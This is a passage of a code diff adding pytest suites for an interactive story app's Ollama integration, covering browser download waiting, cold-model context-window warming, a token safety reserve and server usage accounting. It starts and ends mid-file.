+    later(0.2, lambda: (tmp_path / "campaign.json").write_text('{"format": "x"}'))
+    found = wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05)
+    assert found == tmp_path / "campaign.json"
+
+
+def test_a_file_that_was_already_there_is_not_the_download(tmp_path):
+    (tmp_path / "old.json").write_text("{}")
+    with pytest.raises(wd.WebDriverError):
+        wd.wait_for_download(tmp_path, {"old.json"}, timeout=0.6, poll=0.05)
+
+
+def test_an_empty_file_never_counts(tmp_path):
+    (tmp_path / "empty.json").write_bytes(b"")
+    with pytest.raises(wd.WebDriverError):
+        wd.wait_for_download(tmp_path, set(), timeout=0.6, poll=0.05)
+
+
+def test_nothing_counts_while_firefox_is_still_writing(tmp_path):
+    """Firefox writes `<name>.part` beside the final name until it is done."""
+    (tmp_path / "campaign.json").write_text('{"format": "x"}')
+    (tmp_path / "campaign.json.part").write_text("")
+    with pytest.raises(wd.WebDriverError):
+        wd.wait_for_download(tmp_path, set(), timeout=0.6, poll=0.05)
+    later(0.1, lambda: (tmp_path / "campaign.json.part").unlink())
+    assert wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05).name == "campaign.json"
+
+
+def test_a_file_that_is_still_growing_is_not_finished(tmp_path):
+    target = tmp_path / "big.json"
+    target.write_text("{")
+    stop = threading.Event()
+
+    def grow():
+        for _ in range(8):
+            if stop.is_set():
+                return
+            with target.open("a") as fh:
+                fh.write("x" * 100)
+            time.sleep(0.05)
+
+    writer = threading.Thread(target=grow)
+    started = time.monotonic()
+    writer.start()
+    found = wd.wait_for_download(tmp_path, set(), timeout=5, poll=0.05, stable_polls=3)
+    writer.join()
+    # Returned only once the size held still, so after the last write.
+    assert found == target
+    assert target.stat().st_size == 1 + 8 * 100
+    assert time.monotonic() - started >= 0.4
+
+
+def test_the_prefs_save_downloads_unasked_to_the_folder_given(tmp_path):
+    prefs = wd.firefox_download_prefs(tmp_path)
+    assert prefs["browser.download.folderList"] == 2
+    assert prefs["browser.download.dir"] == str(tmp_path)
+    assert prefs["browser.download.useDownloadDir"] is True
+    assert prefs["browser.download.always_ask_before_handling_new_types"] is False
+    assert "application/json" in prefs["browser.helperApps.neverAsk.saveToDisk"]
+
+
+def test_a_download_folder_must_be_under_home():
+    with pytest.raises(wd.WebDriverError):
+        wd.require_under_home(Path("/tmp/wp-c-downloads"))
+    inside = Path.home() / "v11-evidence" / "wp-c" / "downloads"
+    assert wd.require_under_home(inside) == inside.resolve()

backend/tests/test_v11_cold_window.py

@@ -0,0 +1,348 @@
+"""v1.1 WP-A1 corrective: a cold model is loaded, not guessed about.
+
+A1's accounting caught a real cold-model turn: `/api/ps` knew nothing because the
+model was not resident, `/api/show` found no `num_ctx`, the window was therefore
+unverified, and the prompt was built to the configured 16,384. Ollama loaded the
+model at its own 4,096 default, read 2,050 of the 13,875 tokens and answered 200.
+
+Detection was right. The case is also preventable: once the model is loaded its
+window is readable. So before an unverified turn is assembled, the application
+asks the configured server, once, to load the model (`POST /api/generate` with a
+model and no prompt, which Ollama answers with `"done_reason": "load"` and no
+text), probes again, and builds the turn to whatever that probe says. A window
+still unverified afterwards changes nothing: the configured budget stands and
+the post-response accounting still watches for a cut prompt.
+
+    python -m pytest tests/test_v11_cold_window.py -v
+"""
+
+import asyncio
+
+import httpx
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+from sqlalchemy import text
+from sqlalchemy.orm import undefer
+
+from app import auth, contextwindow, limits, models
+from app.context import builder
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.providers.base import ProviderError
+from app.routers import adventures
+
+from fakes import ScriptedProvider
+
+ENDPOINT = "http://127.0.0.1:11434/v1"
+MODEL = "qwen2.5:3b-instruct"
+
+
+@pytest.fixture(autouse=True)
+def _clear_window_cache():
+    contextwindow.cache_clear()
+    yield
+    contextwindow.cache_clear()
+
+
+class ColdOllama:
+    """The shapes a real Ollama 0.33 returned, with a model that starts cold.
+
+    `/api/ps` lists only loaded models. `/api/show` carries no `num_ctx`.
+    `/api/generate` with no prompt loads the model at `load_window`, exactly as
+    the real server answered: HTTP 200, `"response": ""`, `"done_reason": "load"`.
+    """
+
+    def __init__(self, *, loaded=None, load_window=4096, generate_status=200,
+                 report_after_load=True):
+        self.loaded = dict(loaded or {})
+        self.load_window = load_window
+        self.generate_status = generate_status
+        self.report_after_load = report_after_load
+        self.requests: list[tuple[str, str, dict | None]] = []
+
+    def handler(self, request: httpx.Request) -> httpx.Response:
+        body = None
+        if request.content:
+            import json
+            body = json.loads(request.content)
+        self.requests.append((request.method, str(request.url), body))
+        path = request.url.path
+        if path == "/api/ps":
+            return httpx.Response(200, json={"models": [
+                {"name": name, "model": name, "context_length": tokens}
+                for name, tokens in self.loaded.items()
+            ]})
+        if path == "/api/show":
+            return httpx.Response(200, json={
+                "model_info": {"qwen2.context_length": 32768}, "parameters": ""})
+        if path == "/api/generate":
+            if self.generate_status != 200:
+                return httpx.Response(self.generate_status, json={"error": "model not found"})
+            if self.report_after_load:
+                self.loaded[body["model"]] = self.load_window
+            return httpx.Response(200, json={
+                "model": body["model"], "response": "", "done": True, "done_reason": "load"})
+        return httpx.Response(404)
+
+    def paths(self):
+        return [httpx.URL(url).path for _method, url, _body in self.requests]
+
+
+@pytest.fixture()
+def server(monkeypatch):
+    def install(fake: ColdOllama):
+        original = httpx.AsyncClient
+
+        def build(*args, **kwargs):
+            kwargs.pop("verify", None)
+            return original(*args, transport=httpx.MockTransport(fake.handler), **kwargs)
+
+        monkeypatch.setattr(contextwindow.httpx, "AsyncClient", build)
+        return fake
+
+    return install
+
+
+# ------------------------------------------------------------ ensure_window
+
+def test_a_cold_model_is_loaded_once_and_its_window_verified(server):
+    fake = server(ColdOllama(loaded={}, load_window=4096))
+    window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
+    assert (window.tokens, window.source, window.verified) == (4096, contextwindow.LOADED, True)
+    assert preflight == {"attempted": True, "loaded": True, "verified_before": False,
+                         "verified_after": True,
+                         "detail": "the server loaded the model (load)"}
+    assert fake.paths() == ["/api/ps", "/api/show", "/api/generate", "/api/ps"]
+    # One load request, naming the model and nothing else: no prompt, so no text.
+    warms = [body for _m, url, body in fake.requests if url.endswith("/api/generate")]
+    assert warms == [{"model": MODEL}]
+
+
+def test_an_already_loaded_model_is_not_warmed(server):
+    fake = server(ColdOllama(loaded={MODEL: 16384}))
+    window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
+    assert window.verified and window.tokens == 16384
+    assert preflight["attempted"] is False
+    assert "/api/generate" not in fake.paths()
+
+
+def test_a_model_that_loads_but_still_cannot_be_read_stays_unverified(server):
+    """A server that loads the model but whose `/api/ps` still cannot say. The
+    existing unknown path stands: no guessed window, the configured budget kept."""
+    fake = server(ColdOllama(loaded={}, report_after_load=False))
+    window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
+    assert not window.verified and window.tokens is None
+    assert preflight["attempted"] is True and preflight["loaded"] is True
+    assert preflight["verified_after"] is False
+    assert fake.paths().count("/api/generate") == 1
+    assert contextwindow.effective_budget(16384, window) == 16384
+
+
+@pytest.mark.parametrize("status", [404, 500])
+def test_a_failed_load_is_recorded_and_leaves_the_window_unverified(server, status):
+    fake = server(ColdOllama(loaded={}, generate_status=status))
+    window, preflight = asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
+    assert not window.verified
+    assert preflight["attempted"] is True and preflight["loaded"] is False
+    assert f"HTTP {status}" in preflight["detail"]
+    # Bounded: one attempt, and no second probe after a failed load.
+    assert fake.paths() == ["/api/ps", "/api/show", "/api/generate"]
+
+
+def test_a_declared_window_does_not_stop_the_server_being_asked(server):
+    """A declaration fills a hole the server leaves. Loading the model can close
+    the hole, and a verified answer always wins over a declaration."""
+    server(ColdOllama(loaded={}, load_window=4096))
+    window, _preflight = asyncio.run(
+        contextwindow.ensure_window(ENDPOINT, MODEL, declared=8192))
+    assert (window.tokens, window.source) == (4096, contextwindow.LOADED)
+
+
+def test_an_unreachable_server_is_not_asked_to_load_anything():
+    """Nothing listens here. No load is attempted against a server that did not
+    answer the probe, so an offline turn costs no second timeout."""
+    window, preflight = asyncio.run(
+        contextwindow.ensure_window("http://127.0.0.1:1/v1", MODEL))
+    assert not window.verified
+    assert preflight["attempted"] is False
+    assert "did not answer" in preflight["detail"]
+
+
+def test_the_load_request_obeys_the_endpoint_policy():
+    """ADR 011. No transport is installed: a load that ignored the policy would
+    try to reach a public address for real."""
+    for url in ("https://api.openai.com/v1", "http://8.8.8.8:11434/v1"):
+        loaded, detail = asyncio.run(contextwindow.warm(url, MODEL, timeout=2))
+        assert loaded is False
+        assert "not allowed" in detail
+
+
+def test_the_load_request_goes_only_to_the_configured_host(server):
+    fake = server(ColdOllama(loaded={}))
+    asyncio.run(contextwindow.ensure_window("http://192.168.0.50:11434/v1", MODEL))
+    hosts = {httpx.URL(url).host for _m, url, _b in fake.requests}
+    ports = {httpx.URL(url).port for _m, url, _b in fake.requests}
+    assert hosts == {"192.168.0.50"} and ports == {11434}
+
+
+# ------------------------------------------------------------- end to end
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="v11cold@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model=MODEL, endpoint_url=ENDPOINT, embedding_model="",
+        context_token_budget=16384, max_output_tokens=500,
+    ))
+    adventure = models.Adventure(
+        user_id=user.id, title="Cold",
+        campaign_canon={"rules": ["The sealed crypt is named CANON-SENTINEL-COLD-2050."]},
+    )
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(adventure_id=adventure.id, type="start", text="Rain."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _long_story(adv_id, turns=120):
+    from app import tree
+
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, adv_id)
+        for i in range(turns):
+            for kind, body in (
+                ("do", f"I search the {i}th chamber of the undercroft."),
+                ("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
+            ):
+                action = models.Action(adventure_id=adv_id, type=kind, text=body)
+                db.add(action)
+                db.flush()
+                tree.place_action(db, adventure, action)
+        db.commit()
+
+
+def _counts():
+    with SessionLocal() as db:
+        return {table: db.execute(text(f"SELECT COUNT(*) FROM {table}")).scalar()
+                for table in ("actions", "state_events", "state_proposals", "memories",
+                              "summaries")}
+
+
+def _latest_ai(adv_id):
+    with SessionLocal() as db:
+        return (db.query(models.Action)
+                .filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
+                .options(undefer(models.Action.context_snapshot))
+                .order_by(models.Action.id.desc()).first())
+
+
+def test_a_cold_turn_is_built_to_the_window_the_loaded_model_reports(client, server):
+    """The observed failure, prevented. Without the load this turn would be built
+    to the configured 16,384 against a 4,096 server."""
+    _long_story(client.adv_id)
+    fake = server(ColdOllama(loaded={}, load_window=4096))
+    ScriptedProvider.replies = ["The seal holds."]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "look at the seal"})
+    assert response.status_code == 200, response.text[:300]
+
+    snapshot = _latest_ai(client.adv_id).context_snapshot
+    assert snapshot["window"]["verified"] is True
+    assert snapshot["tokens"]["budget"] == 4096
+    assert snapshot["window"]["preflight"]["attempted"] is True
+    assert snapshot["window"]["preflight"]["verified_after"] is True
+    system, story = ScriptedProvider.prompts[-1]
+    sent = builder.count_tokens(system) + builder.count_tokens(story)
+    assert sent + snapshot["tokens"]["transport"] + 500 + 256 <= 4096
+    assert "CANON-SENTINEL-COLD-2050" in system
+    assert fake.paths().count("/api/generate") == 1
+
+
+def test_without_the_load_the_same_cold_turn_would_have_been_built_too_large(client, server,
+                                                                              monkeypatch):
+    """The negative control: v1.0.0 and the first A1 tree probed only."""
+    _long_story(client.adv_id)
+    server(ColdOllama(loaded={}, load_window=4096))
+
+    async def probe_only(endpoint_url, model, *, declared=None, warm_timeout=300.0):
+        window = await contextwindow.probe(endpoint_url, model, declared=declared)
+        return window, {"attempted": False}
+
+    monkeypatch.setattr(adventures.turns.contextwindow, "ensure_window", probe_only)
+    ScriptedProvider.replies = ["The seal holds."]
+    client.post(f"/api/adventures/{client.adv_id}/actions",
+                json={"type": "do", "text": "look at the seal"})
+    snapshot = _latest_ai(client.adv_id).context_snapshot
+    assert snapshot["window"]["verified"] is False
+    assert snapshot["tokens"]["budget"] == 16384
+    system, story = ScriptedProvider.prompts[-1]
+    assert builder.count_tokens(system) + builder.count_tokens(story) > 4096 * 2
+
+
+def test_the_load_itself_writes_nothing(client, server):
+    """No action, narration, state event, proposal, memory or summary comes from
+    the preflight: it is a request to the server and nothing else."""
+    fake = server(ColdOllama(loaded={}))
+    before = _counts()
+    asyncio.run(contextwindow.ensure_window(ENDPOINT, MODEL))
+    assert _counts() == before
+    assert fake.paths().count("/api/generate") == 1
+
+
+def test_a_failed_load_then_a_failed_model_call_leaves_the_story_safe(client, server):
+    """The ordinary failure semantics: the error is reported, no narration is
+    accepted, and nothing about the state changes."""
+    server(ColdOllama(loaded={}, generate_status=404))
+    before = _counts()
+    ScriptedProvider.replies = [ProviderError("Endpoint or model not found (HTTP 404).")]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "open the door"})
+    assert response.status_code == 200
+    assert '"type": "error"' in response.text or '"error"' in response.text
+    after = _counts()
+    assert after["state_events"] == before["state_events"]
+    assert after["state_proposals"] == before["state_proposals"]
+    with SessionLocal() as db:
+        assert db.query(models.Action).filter_by(adventure_id=client.adv_id,
+                                                 type="ai").count() == 0
+
+
+def test_a_failed_load_does_not_stop_a_turn_the_model_can_still_answer(client, server):
+    server(ColdOllama(loaded={}, generate_status=500))
+    ScriptedProvider.replies = ["The door opens."]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "open the door"})
+    assert response.status_code == 200, response.text[:300]
+    snapshot = _latest_ai(client.adv_id).context_snapshot
+    assert snapshot["window"]["verified"] is False
+    assert snapshot["window"]["preflight"]["loaded"] is False
+    assert snapshot["tokens"]["budget"] == 16384
+    assert snapshot["accounting"]["status"] == contextwindow.UNKNOWN
+
+
+def test_the_context_dry_run_never_loads_a_model(client, server):
+    fake = server(ColdOllama(loaded={}))
+    response = client.get(f"/api/adventures/{client.adv_id}/context")
+    assert response.status_code == 200
+    assert "/api/generate" not in fake.paths()

backend/tests/test_v11_context_reserve.py

@@ -0,0 +1,495 @@
+"""v1.1 WP-A1: a deliberate safety reserve, and a turn the server cut is not silent.
+
+M11 made the verified window a ceiling. It did not make the application's count
+the server's count. The application counts with `cl100k_base`, the narrator with
+its own tokenizer, and the v1 evidence left 23-42 real tokens between the largest
+prompt and the edge of a 16,384 window. Past that edge Ollama does not refuse.
+Measured against the reference CPU host (Ollama 0.33, a 4,096 window), a
+6,316-token prompt came back 200 with `prompt_tokens` 2,050: the front of the
+prompt, which in this design is the narrator's rules and the canon, was gone.
+
+So the tests below are in three halves.
+
+**The reserve.** `max(256, ceil(5% of the effective window))`, taken from the
+budget before any history is chosen, on top of an exact reply allocation.
+
+**The arithmetic.** The assembled prompt, plus the application text the provider
+adds to every request, plus the reply allocation, plus the reserve, fits the
+effective window. Protected context that cannot fit that way fails before the
+model is called.
+
+**The accounting.** Where the server reports how many prompt tokens it read, the
+turn records `fits`, `exceeded` or `truncation_suspected`. Where it reports
+nothing, the turn says `unknown`, never `fits`. A discrepancy found after the
+reply is recorded and shown; it never costs the reader an accepted turn.
+
+    python -m pytest tests/test_v11_context_reserve.py -v
+"""
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+from sqlalchemy.orm import undefer
+
+from app import auth, contextwindow, limits, models
+from app.context import builder
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.providers.openai_compatible import CHAT_CONTINUE_HINT, OpenAICompatibleProvider
+from app.routers import adventures
+
+from fakes import ScriptedProvider
+
+ENDPOINT = "http://127.0.0.1:11434/v1"
+
+
+@pytest.fixture(autouse=True)
+def _clear_window_cache():
+    contextwindow.cache_clear()
+    yield
+    contextwindow.cache_clear()
+
+
+# ------------------------------------------------------------- the reserve
+
+@pytest.mark.parametrize("window, reserve", [
+    (1024, 256),
+    (4096, 256),     # 5% is 204.8, so the floor holds
+    (5120, 256),     # exactly 5% is the floor
+    (5121, 257),     # 256.05 rounds up
+    (8192, 410),     # 409.6 rounds up
+    (16384, 820),    # 819.2 rounds up
+    (32768, 1639),   # 1638.4 rounds up
+])
+def test_the_reserve_is_the_larger_of_the_floor_and_five_percent_rounded_up(window, reserve):
+    assert contextwindow.safety_reserve(window) == reserve
+
+
+def test_the_reserve_is_far_larger_than_the_v1_margin_at_the_evidence_window():
+    """The v1 evidence left 23-42 tokens at 16,384. 64 tokens of slack was all
+    the arithmetic kept for drift and separators together."""
+    assert contextwindow.safety_reserve(16384) >= 10 * 64
+
+
+# ---------------------------------------------------------- the arithmetic
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="v11reserve@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="qwen2.5:3b-instruct", endpoint_url=ENDPOINT,
+        embedding_model="", context_token_budget=16384, max_output_tokens=500,
+    ))
+    adventure = models.Adventure(
+        user_id=user.id, title="Reserved",
+        campaign_canon={"rules": [
+            "The abbey seal has never been broken.",
+            "The sealed crypt is named CANON-SENTINEL-RESERVE-5120.",
+        ]},
+    )
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(
+        adventure_id=adventure.id, type="start", text="Rain over Westhaven."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _long_story(adv_id, turns=120):
+    from app import tree
+
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, adv_id)
+        for i in range(turns):
+            for kind, text in (
+                ("do", f"I search the {i}th chamber of the undercroft."),
+                ("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
+            ):
+                action = models.Action(adventure_id=adv_id, type=kind, text=text)
+                db.add(action)
+                db.flush()
+                tree.place_action(db, adventure, action)
+        db.commit()
+
+
+def _settings(**changes):
+    with SessionLocal() as db:
+        settings = db.query(models.Settings).first()
+        for key, value in changes.items():
+            setattr(settings, key, value)
+        db.commit()
+
+
+def _build(client, window):
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        settings = db.query(models.Settings).first()
+        return builder.build_context(adventure, settings, window=window)
+
+
+def _sent(system, story) -> int:
+    """What the provider actually sends in chat mode, by the application's count."""
+    return (builder.count_tokens(system) + builder.count_tokens(story)
+            + builder.count_tokens(CHAT_CONTINUE_HINT))
+
+
+CONFIGURATIONS = {
+    "verified 4,096": (dict(context_token_budget=16384),
+                       contextwindow.Window(4096, contextwindow.LOADED)),
+    "verified 8,192": (dict(context_token_budget=16384),
+                       contextwindow.Window(8192, contextwindow.PARAMETERS)),
+    "verified 16,384": (dict(context_token_budget=16384),
+                        contextwindow.Window(16384, contextwindow.LOADED)),
+    "declared 6,000": (dict(context_token_budget=16384),
+                       contextwindow.Window(6000, contextwindow.DECLARED)),
+    "unverified, configured 12,000": (dict(context_token_budget=12000),
+                                      contextwindow.UNVERIFIED),
+}
+
+
+@pytest.mark.parametrize("name", list(CONFIGURATIONS))
+def test_the_prompt_leaves_the_reply_and_the_reserve_free(client, name):
+    """A1-2, on the assembled text rather than the builder's own arithmetic."""
+    changes, window = CONFIGURATIONS[name]
+    _settings(**changes)
+    _long_story(client.adv_id, turns=120)
+    system, story, report = _build(client, window)
+    tokens = report["tokens"]
+    budget = tokens["budget"]
+
+    assert tokens["safety_reserve"] == contextwindow.safety_reserve(budget)
+    assert tokens["output_reserve"] == 500
+    sent = _sent(system, story)
+    assert sent + tokens["output_reserve"] + tokens["safety_reserve"] <= budget, (
+        name, sent, tokens)
+    # The history is what gave way, not the canon.
+    assert "CANON-SENTINEL-RESERVE-5120" in system
+    assert report["history"]["included"] < report["history"]["total"]
+
+
+def test_the_report_prices_the_text_the_provider_adds(client):
+    """The chat hint rides on every request and was never counted."""
+    _, _, report = _build(client, contextwindow.Window(4096, contextwindow.LOADED))
+    tokens = report["tokens"]
+    assert tokens["transport"] >= builder.count_tokens(CHAT_CONTINUE_HINT)
+    assert tokens["estimate"] == tokens["total"] + builder.count_tokens(CHAT_CONTINUE_HINT)
+
+
+def test_the_reserve_follows_the_effective_window_not_the_setting(client):
+    """5% of a 4,096 server, not 5% of a 16,384 setting it will never read."""
+    _, _, capped = _build(client, contextwindow.Window(4096, contextwindow.LOADED))
+    _, _, full = _build(client, contextwindow.Window(16384, contextwindow.LOADED))
+    assert capped["tokens"]["safety_reserve"] == 256
+    assert full["tokens"]["safety_reserve"] == 820
+
+
+def test_protected_context_that_only_fits_without_the_reserve_fails_explicitly(client):
+    """A1-3 in the builder. Before v1.1 this prompt would have been built.
+
+    The canon is sized so that protected text plus the reply fits a 4,096 window
+    with room to spare, and does not fit once the 256-token reserve is taken.
+    """
+    small = contextwindow.Window(4096, contextwindow.LOADED)
+    # Measured with a window large enough never to overflow, because repeated
+    # text merges tokens at its seams and cannot be priced by multiplication.
+    roomy = contextwindow.Window(32768, contextwindow.LOADED)
+    rules = None
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        settings = db.query(models.Settings).first()
+        base_rules = list(adventure.campaign_canon["rules"])
+        filler = "The bell tolls once for every name in the ledger."
+        copies = 1
+        while True:
+            candidate = base_rules + [" ".join([filler] * copies)]
+            adventure.campaign_canon = {"rules": candidate}
+            _, _, measured = builder.build_context(adventure, settings, window=roomy)
+            t = measured["tokens"]
+            # What protected context costs at 4,096, without the reserve.
+            without_reserve = t["protected"] + t["transport"] + t["output_reserve"]
+            if without_reserve + 64 >= 4096 - 60:
+                break
+            copies += 1
+        rules = candidate
+        adventure.campaign_canon = {"rules": rules}
+        db.commit()
+
+        # The case this test is about: v1's arithmetic, with its 64-token margin,
+        # would have built this prompt. v1.1's reserve does not fit.
+        assert without_reserve + 64 < 4096
+        assert without_reserve + contextwindow.safety_reserve(4096) >= 4096
+
+        with pytest.raises(builder.ContextOverflow) as caught:
+            builder.build_context(adventure, settings, window=small)
+    message = str(caught.value)
+    assert "safety" in message
+    assert "load the model with a larger window" in message
+
+
+def test_an_overflowing_turn_never_reaches_the_model(client, monkeypatch):
+    """A1-3 end to end: the refusal happens before the provider is called."""
+    async def verified(endpoint, model, declared=None, use_cache=True):
+        return contextwindow.Window(1024, contextwindow.LOADED)
+
+    monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
+    ScriptedProvider.replies = ["This must never be generated."]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "open the crypt"})
+    assert response.status_code == 200
+    assert "safety" in response.text
+    assert ScriptedProvider.calls == 0
+    with SessionLocal() as db:
+        assert db.query(models.Action).filter_by(
+            adventure_id=client.adv_id, type="ai").count() == 0
+
+
+# ---------------------------------------------------------- the accounting
+
+def _classify(prompt_tokens=None, *, usage=None, estimate=3500, budget=4096,
+              output=500, verified=True):
+    if usage is None and prompt_tokens is not None:
+        usage = {"prompt_tokens": prompt_tokens, "completion_tokens": 40}
+    return contextwindow.classify_usage(
+        usage, estimate=estimate, budget=budget, max_output_tokens=output,
+        window_verified=verified,
+    )
+
+
+def test_a_prompt_the_server_read_in_full_fits():
+    # The 13-token chat-template overhead measured against the real server.
+    result = _classify(3513)
+    assert result["status"] == contextwindow.FITS
+    assert result["server_prompt_tokens"] == 3513
+    assert result["difference"] == 13
+    assert result["safety_reserve"] == 256
+    assert result["observed_margin"] == 4096 - 500 - 3513
+
+
+def test_a_server_that_counts_more_than_the_reserve_allows_is_exceeded():
+    """The prompt plus the reply allocation no longer fits the window."""
+    result = _classify(3700)
+    assert result["status"] == contextwindow.EXCEEDED
+    assert result["observed_margin"] < 0
+
+
+def test_a_server_that_read_far_less_than_was_sent_is_suspected_of_truncating():
+    """The real shape: 6,316 sent, 2,050 read, HTTP 200, no error."""
+    result = _classify(2050, estimate=6316)
+    assert result["status"] == contextwindow.TRUNCATION_SUSPECTED
+    assert result["difference"] == 2050 - 6316
+
+
+def test_a_small_undercount_is_tokenizer_drift_not_truncation():
+    """A tokenizer thriftier than `cl100k_base` reads fewer tokens honestly. Only
+    a shortfall larger than the reserve is called truncation."""
+    assert _classify(3500 - 255)["status"] == contextwindow.FITS
+    assert _classify(3500 - 257)["status"] == contextwindow.TRUNCATION_SUSPECTED
+
+
+@pytest.mark.parametrize("usage", [
+    None,
+    {},
+    {"completion_tokens": 40},
+    {"prompt_tokens": 0},
+    {"prompt_tokens": "3500"},
+    {"prompt_tokens": -1},
+])
+def test_no_usable_count_is_unknown_never_fits(usage):
+    result = _classify(usage=usage)
+    assert result["status"] == contextwindow.UNKNOWN
+    assert result["server_prompt_tokens"] is None
+    assert result["observed_margin"] is None
+
+
+def test_the_accounting_says_when_the_window_itself_was_not_verified():
+    result = _classify(3513, verified=False)
+    assert result["status"] == contextwindow.FITS
+    assert result["window_verified"] is False
+    assert "not verified" in result["detail"]
+
+
+def test_the_stream_asks_the_server_to_report_its_usage():
+    """Measured: Ollama 0.33 sends no usage in a stream unless asked."""
+    provider = OpenAICompatibleProvider(ENDPOINT, "m")
+    from app.providers.base import PromptParts
+
+    for mode in ("chat", "completion"):
+        provider.api_mode = mode
+        _url, body = provider._request(PromptParts(system="s", story="t"), 0.7, 50)
+        assert body["stream"] is True
+        assert body["stream_options"] == {"include_usage": True}
+
+
+def _latest_ai(adv_id):
+    with SessionLocal() as db:
+        return (
+            db.query(models.Action)
+            .filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
+            .options(undefer(models.Action.context_snapshot))
+            .order_by(models.Action.id.desc()).first()
+        )
+
+
+def _play(client, monkeypatch, usage, window=4096, reply="The crypt is still sealed."):
+    async def verified(endpoint, model, declared=None, use_cache=True):
+        return contextwindow.Window(window, contextwindow.LOADED, 32768, "fake")
+
+    monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
+    monkeypatch.setattr(ScriptedProvider, "last_usage", usage)
+    ScriptedProvider.replies = [reply]
+    return client.post(f"/api/adventures/{client.adv_id}/actions",
+                       json={"type": "do", "text": "look at the seal"})
+
+
+def test_a_turn_records_what_the_server_read(client, monkeypatch):
+    response = _play(client, monkeypatch, None)
+    assert response.status_code == 200, response.text[:300]
+    estimate = _latest_ai(client.adv_id).context_snapshot["tokens"]["estimate"]
+
+    response = _play(client, monkeypatch,
+                     {"prompt_tokens": estimate + 13, "completion_tokens": 9})
+    assert response.status_code == 200, response.text[:300]
+    snapshot = _latest_ai(client.adv_id).context_snapshot
+    accounting = snapshot["accounting"]
+    assert accounting["status"] == contextwindow.FITS
+    assert accounting["server_prompt_tokens"] == estimate + 13
+    assert accounting["estimate"] == snapshot["tokens"]["estimate"]
+    assert '"accounting"' in response.text
+    assert contextwindow.FITS in response.text
+
+
+def test_a_turn_with_no_reported_usage_is_unknown(client, monkeypatch):
+    response = _play(client, monkeypatch, None)
+    assert response.status_code == 200
+    assert _latest_ai(client.adv_id).context_snapshot["accounting"]["status"] == (
+        contextwindow.UNKNOWN)
+
+
+def test_a_suspected_truncation_keeps_the_turn_and_says_so(client, monkeypatch, caplog):
+    """A1-7 and A1-8. The reader watched the narration arrive; it stays."""
+    response = _play(client, monkeypatch, {"prompt_tokens": 12, "completion_tokens": 9},
+                     reply="The seal holds, and the rain goes on.")
+    assert response.status_code == 200, response.text[:300]
+    action = _latest_ai(client.adv_id)
+    assert action is not None
+    assert action.text == "The seal holds, and the rain goes on."
+    accounting = action.context_snapshot["accounting"]
+    assert accounting["status"] == contextwindow.TRUNCATION_SUSPECTED
+    assert contextwindow.TRUNCATION_SUSPECTED in response.text
+    assert any(contextwindow.TRUNCATION_SUSPECTED in r.getMessage() for r in caplog.records)
+
+    # Inspectable afterwards through the same route the context panel reads.
+    context = client.get(
+        f"/api/adventures/{client.adv_id}/actions/{action.id}/context")
+    assert context.status_code == 200
+    assert context.json()["accounting"]["status"] == contextwindow.TRUNCATION_SUSPECTED
+
+
+def test_each_attempt_keeps_its_own_accounting_when_the_live_flag_moves():
+    """Found by the A2 long run. Accounting belongs to one API call, not to the
+    turn's shared prompt. A retry demotes the old attempt, and a take selection
+    hands the prompt from one attempt to another. Neither may drop an attempt's
+    accounting or give it another attempt's."""
+    from app import attempts
+
+    class Node:
+        def __init__(self, snapshot):
+            self.context_snapshot = snapshot
+
